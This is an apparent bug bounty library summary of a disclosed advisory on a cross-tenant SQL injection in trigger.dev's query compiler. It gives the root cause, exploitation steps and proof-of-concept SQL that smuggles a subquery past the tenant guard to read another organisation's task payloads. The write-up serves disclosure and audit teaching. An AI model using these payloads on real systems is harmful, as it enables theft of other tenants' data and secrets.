# Trigger.dev: Cross-tenant SQL injection in the TSQL query compiler (POST /api/v1/query) via unsanitized window-function name

Unescaped window-function name in trigger.dev's TSQL compiler let any authenticated tenant inject a ClickHouse subquery outside the tenant WHERE guard and read other orgs' analytics data.

- Payout: Research
- Severity: high
- Program: trigger.dev
- Found by: sajdakabir
- Disclosed: 2026-10-02
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-9q4r-4842-93vw
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9q4r-4842-93vw
- Tags: area:web domain:web impact:data-leak impact:pii-leak kind:research platform:ghsa sev:high tech:nodejs tech:rest technique:source-review vuln:access-control vuln:sqli

**Target:** POST /api/v1/query TSQL-to-ClickHouse query compiler
**Root cause:** ClickHousePrinter.visitWindowFunction concatenates node.name into SQL with no allowlist or identifier escaping, unlike visitCall which enforces a function allowlist; backtick-quoted identifiers are unescaped into node.name, so arbitrary SQL becomes the function name.
**Steps:**
1. Authenticate to POST /api/v1/query with any environment-scoped API key or public JWT (e.g. tenant1).
2. Send `query` containing a backtick-quoted window-function name that smuggles a subquery: `SELECT \`count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, dummy(\`() OVER () AS x FROM task_runs`.
3. Compiler emits the injected subquery raw in the SELECT list while the enforced WHERE guard (organization_id/project_id/environment_id) applies only to the outer FROM table.
4. Compiled SQL is sent to ClickHouse as a string; the subquery executes and returns the victim tenant's rows.
**How found:** Code review of the TSQL printer: noticed visitCall enforces TSQL_CLICKHOUSE_FUNCTIONS/TSQL_AGGREGATIONS allowlists but visitWindowFunction concatenates node.name raw, and that backtick-quoted identifiers are unescaped into node.name — the one attacker-influenced identifier reaching output unguarded.
**Exploitation:** Any signed-up customer with a valid API key/JWT submits a crafted TSQL query; the injected subquery sits outside the per-tenant WHERE guard and ClickHouse returns another organization's task_runs_v2 payloads (verified exfiltrating victim secrets) in the query response.
**Insight:** When auditing SQL compilers, diff every AST node visitor against the allowlisted one: any path that emits an identifier without escapeClickHouseIdentifier or an allowlist check is a candidate sink, and injected subqueries bypass outer-table tenant WHERE guards because the guard only attaches to the FROM table.

## Proof of concept (copied exactly from the original report)

**Attacker TSQL input with injected subquery**

```
SELECT `count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, dummy(`() OVER () AS x FROM task_runs
```

**Compiled ClickHouse SQL showing raw injected subquery**

```
SELECT count() OVER (),
       (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2
        WHERE organization_id = 'org_OTHER_TENANT') AS stolen,        -- INJECTED, RAW, UNGUARDED
       dummy(() OVER () AS x
FROM trigger_dev.task_runs_v2 AS task_runs
WHERE and(equals(task_runs.organization_id, {tsql_val_0: String}),
          equals(task_runs.project_id,      {tsql_val_1: String}),
          equals(task_runs.environment_id,  {tsql_val_2: String}))    -- guard ONLY on outer table
```

**Live ClickHouse exploit query exfiltrating victim data**

```
SELECT 1 AS keep,
         (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen,
         count() OVER () AS w
  FROM trigger_dev.task_runs_v2 AS task_runs
  WHERE and(equals(task_runs.organization_id, 'org_tenant1'), ...)
```

